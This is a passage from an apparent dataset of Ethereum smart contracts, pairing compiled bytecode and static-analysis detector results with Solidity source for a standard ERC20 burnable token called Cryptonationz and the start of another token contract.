805460009161074b9184911661169e565b61ffff8054919250165b818110156107ac57600160008261ffff811061078157634e487b7160e01b600052603260045260246000fd5b01805463ffffffff191663ffffffff92909216919091179055806107a48161176e565b915050610755565b505050565b60008161ffff81106107c257600080fd5b015463ffffffff811691506001600160701b03600160201b8204811691600160901b90041683565b61ffff80546000918291829161080391600191166116f5565b61ffff1661ffff811061082657634e487b7160e01b600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b90910416828201528051630240bc6b60e21b815290519193506000926001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692630902f1ac926004818101939291829003018186803b1580156108c357600080fd5b505afa1580156108d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fb91906115d8565b845163ffffffff91821694506000935061091792501683611718565b6107081093505050505b90565b6000336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146109875760405162461bcd60e51b815260206004820152600260248201526110a360f11b604482015260640160405180910390fd5b61098f61113b565b905090565b6000806000836001600160a01b0316866001600160a01b0316106109b95783866109bc565b85845b5061ffff805491925060009182916109d791600191166116f5565b61ffff1661ffff81106109fa57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b82048116602080860191909152600160901b9092041683830152620100005462010001548351635909c0d560e01b81529351949550600094919390926001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692635909c0d5926004818101939291829003018186803b158015610aa857600080fd5b505afa158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae0919061163e565b610aea91906116d6565b610af491906116b6565b90506000620100005462010001547f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5b57600080fd5b505afa158015610b6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b93919061163e565b610b9d91906116d6565b610ba791906116b6565b905060007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610c0457600080fd5b505afa158015610c18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3c91906115d8565b63ffffffff1692505050836000015163ffffffff16811415610cce5761ffff8054600091610c6d91600291166116f5565b61ffff1661ffff8110610c9057634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b909104169082015293505b8351600090610ce39063ffffffff1683611718565b90508015610cf15780610cf4565b60015b90508a6001600160a01b0316866001600160a01b03161415610d3057610d2985602001516001600160701b031685838d611100565b9750610d4c565b610d4985604001516001600160701b031684838d611100565b97505b809650505050505050935093915050565b6000806000846001600160a01b0316876001600160a01b031610610d82578487610d85565b86855b5061ffff80549192506000918291610da091600191166116f5565b61ffff1690506000610db28783611718565b9050610dd7604080516060810182526000808252602082018190529181019190915290565b604080516060810182526000808252602082018190529181019190915260008c6001600160a01b0316876001600160a01b03161415610f27575b84841015610f2257610e2484600161169e565b905060008461ffff8110610e4857634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152925060008161ffff8110610ea757634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020808701829052600160901b909404821694860194909452918701518751949650610f0494921692916103c49161172f565b610f0e908761169e565b955083610f1a8161176e565b945050610e11565b611034565b8484101561103457610f3a84600161169e565b905060008461ffff8110610f5e57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152925060008161ffff8110610fbd57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020860152600160901b909204821684840181905292870151875194965061101694921692916103c49161172f565b611020908761169e565b95508361102c8161176e565b945050610f27565b61103e8a876116b6565b985060007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561109b57600080fd5b505afa1580156110af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d391906115d8565b855163ffffffff91821694506110ed935016905082611718565b9850505050505050505094509492505050565b600082620100015486866111149190611718565b61111e90856116d6565b61112891906116b6565b61113291906116b6565b95945050505050565b61ffff80546000918291829161115491600191166116f5565b61ffff1661ffff811061117757634e487b7160e01b600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b90910416828201528051630240bc6b60e21b815290519193506000926001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692630902f1ac926004818101939291829003018186803b15801561121457600080fd5b505afa158015611228573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124c91906115d8565b84519093506000925061126091508361172f565b90506107088163ffffffff1611156114d0576000620100005462010001547f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b1580156112d757600080fd5b505afa1580156112eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130f919061163e565b61131991906116d6565b61132391906116b6565b90506000620100005462010001547f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b15801561138a57600080fd5b505afa15801561139e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c2919061163e565b6113cc91906116d6565b6113d691906116b6565b6040805160608101825263ffffffff871681526001600160701b03808616602083015283169181019190915261ffff80549293509091600091908116908261141d8361174c565b91906101000a81548161ffff021916908361ffff16021790555061ffff1661ffff811061145a57634e487b7160e01b600052603260045260246000fd5b825191018054602084015160409094015163ffffffff90931671ffffffffffffffffffffffffffffffffffff1990911617600160201b6001600160701b03948516021771ffffffffffffffffffffffffffffffffffff16600160901b939092169290920217905550600194506109219350505050565b6000935050505090565b80356001600160a01b03811681146114f157600080fd5b919050565b80516001600160701b03811681146114f157600080fd5b600080600060608486031215611521578283fd5b61152a846114da565b92506020840135915061153f604085016114da565b90509250925092565b6000806000806080858703121561155d578081fd5b611566856114da565b93506020850135925061157b604086016114da565b9396929550929360600135925050565b600080600080600060a086880312156115a2578081fd5b6115ab866114da565b9450602086013593506115c0604087016114da565b94979396509394606081013594506080013592915050565b6000806000606084860312156115ec578283fd5b6115f5846114f6565b9250611603602085016114f6565b9150604084015163ffffffff8116811461161b578182fd5b809150509250925092565b600060208284031215611637578081fd5b5035919050565b60006020828403121561164f578081fd5b5051919050565b604080825283519082018190526000906020906060840190828701845b8281101561168f57815184529284019290840190600101611673565b50505092019290925292915050565b600082198211156116b1576116b1611789565b500190565b6000826116d157634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156116f0576116f0611789565b500290565b600061ffff8381169083168181101561171057611710611789565b039392505050565b60008282101561172a5761172a611789565b500390565b600063ffffffff8381169083168181101561171057611710611789565b600061ffff8083168181141561176457611764611789565b6001019392505050565b600060001982141561178257611782611789565b5060010190565b634e487b7160e01b600052601160045260246000fdfea26469706673582212202b1287cf3deac18489452cddca72d9b0093e996441e6bd33526be15bbecf339a64736f6c63430008030033a26469706673582212204c10fd15e4ebb2c8015f8f0ffe2327d84927fde61121e21c00150d8780aa9a6264736f6c63430008030033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 10,600 |
0x6368a6bcebe2db1a850f87650dabd29cc642e2da | pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract Cryptonationz is DetailedERC20, StandardToken, BurnableToken {
uint256 public publicAllocation;
uint256 public companyAllocation;
uint256 public devAllocation;
uint256 public advisorsAllocation;
uint256 public reservedAllocation;
function Cryptonationz
(
string _name,
string _symbol,
uint8 _decimals,
address _pubAddress,
address _compAddress,
address _devAddress,
address _advAddress,
address _reserveAddress
)
DetailedERC20(_name, _symbol, _decimals)
public
{
require(_pubAddress != address(0) && _compAddress != address(0) && _devAddress != address(0));
require(_advAddress != address(0) && _reserveAddress != address(0));
totalSupply_ = 400000000 * (10 ** uint256(_decimals));
publicAllocation = (70 * totalSupply_) / 100;
companyAllocation = (10 * totalSupply_) / 100;
devAllocation = (10 * totalSupply_) / 100;
advisorsAllocation = (5 * totalSupply_) / 100;
reservedAllocation = (5 * totalSupply_) / 100;
_allocation(_pubAddress, _compAddress, _devAddress, _advAddress, _reserveAddress);
}
function _allocation(address _pubAddress, address _compAddress, address _devAddress, address _advAddress, address _reserveAddress) internal {
balances[_pubAddress] = balances[_pubAddress].add(publicAllocation);
balances[_compAddress] = balances[_compAddress].add(companyAllocation);
balances[_devAddress] = balances[_devAddress].add(devAllocation);
balances[_advAddress] = balances[_advAddress].add(advisorsAllocation);
balances[_reserveAddress] = balances[_reserveAddress].add(reservedAllocation);
Transfer(address(0), _pubAddress, publicAllocation);
Transfer(address(0), _compAddress, companyAllocation);
Transfer(address(0), _devAddress, devAllocation);
Transfer(address(0), _advAddress, advisorsAllocation);
Transfer(address(0), _reserveAddress, reservedAllocation);
}
} | 0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f657806309522d7f14610184578063095ea7b3146101ad57806318160ddd1461020757806323b872dd14610230578063313ce567146102a957806342966c68146102d85780634ae0f543146102fb5780634c20179e14610324578063661884631461034d57806370a08231146103a757806395d89b41146103f4578063a9059cbb14610482578063c6314bf9146104dc578063d73dd62314610505578063dd62ed3e1461055f578063fb064161146105cb575b600080fd5b341561010157600080fd5b6101096105f4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014957808201518184015260208101905061012e565b50505050905090810190601f1680156101765780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018f57600080fd5b610197610692565b6040518082815260200191505060405180910390f35b34156101b857600080fd5b6101ed600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610698565b604051808215151515815260200191505060405180910390f35b341561021257600080fd5b61021a61078a565b6040518082815260200191505060405180910390f35b341561023b57600080fd5b61028f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610794565b604051808215151515815260200191505060405180910390f35b34156102b457600080fd5b6102bc610b53565b604051808260ff1660ff16815260200191505060405180910390f35b34156102e357600080fd5b6102f96004808035906020019091905050610b66565b005b341561030657600080fd5b61030e610d21565b6040518082815260200191505060405180910390f35b341561032f57600080fd5b610337610d27565b6040518082815260200191505060405180910390f35b341561035857600080fd5b61038d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d2d565b604051808215151515815260200191505060405180910390f35b34156103b257600080fd5b6103de600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fbe565b6040518082815260200191505060405180910390f35b34156103ff57600080fd5b610407611007565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561044757808201518184015260208101905061042c565b50505050905090810190601f1680156104745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561048d57600080fd5b6104c2600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110a5565b604051808215151515815260200191505060405180910390f35b34156104e757600080fd5b6104ef6112c9565b6040518082815260200191505060405180910390f35b341561051057600080fd5b610545600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112cf565b604051808215151515815260200191505060405180910390f35b341561056a57600080fd5b6105b5600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506114cb565b6040518082815260200191505060405180910390f35b34156105d657600080fd5b6105de611552565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561068a5780601f1061065f5761010080835404028352916020019161068a565b820191906000526020600020905b81548152906001019060200180831161066d57829003601f168201915b505050505081565b600a5481565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107d157600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561081f57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108aa57600080fd5b6108fc82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155890919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099182600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157190919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6382600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155890919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610bb657600080fd5b339050610c0b82600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155890919063ffffffff16565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c638260045461155890919063ffffffff16565b6004819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b60065481565b60085481565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e3e576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ed2565b610e51838261155890919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561109d5780601f106110725761010080835404028352916020019161109d565b820191906000526020600020905b81548152906001019060200180831161108057829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110e257600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561113057600080fd5b61118282600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155890919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061121782600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157190919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60075481565b600061136082600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157190919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b600082821115151561156657fe5b818303905092915050565b600080828401905083811015151561158557fe5b8091505092915050565b6115e3600654600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157190919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061167a600754600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157190919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611711600854600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157190919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117a8600954600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157190919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061183f600a54600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157190919063ffffffff16565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a546040518082815260200191505060405180910390a350505050505600a165627a7a723058205a304b2de9a70cd525f4f610b67612e0821482cf4d2be1a7875fffb401644b2b0029 | {"success": true, "error": null, "results": {}} | 10,601 |
0xa0b6715b9b2addc151c25017b765c8b1509db74e | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
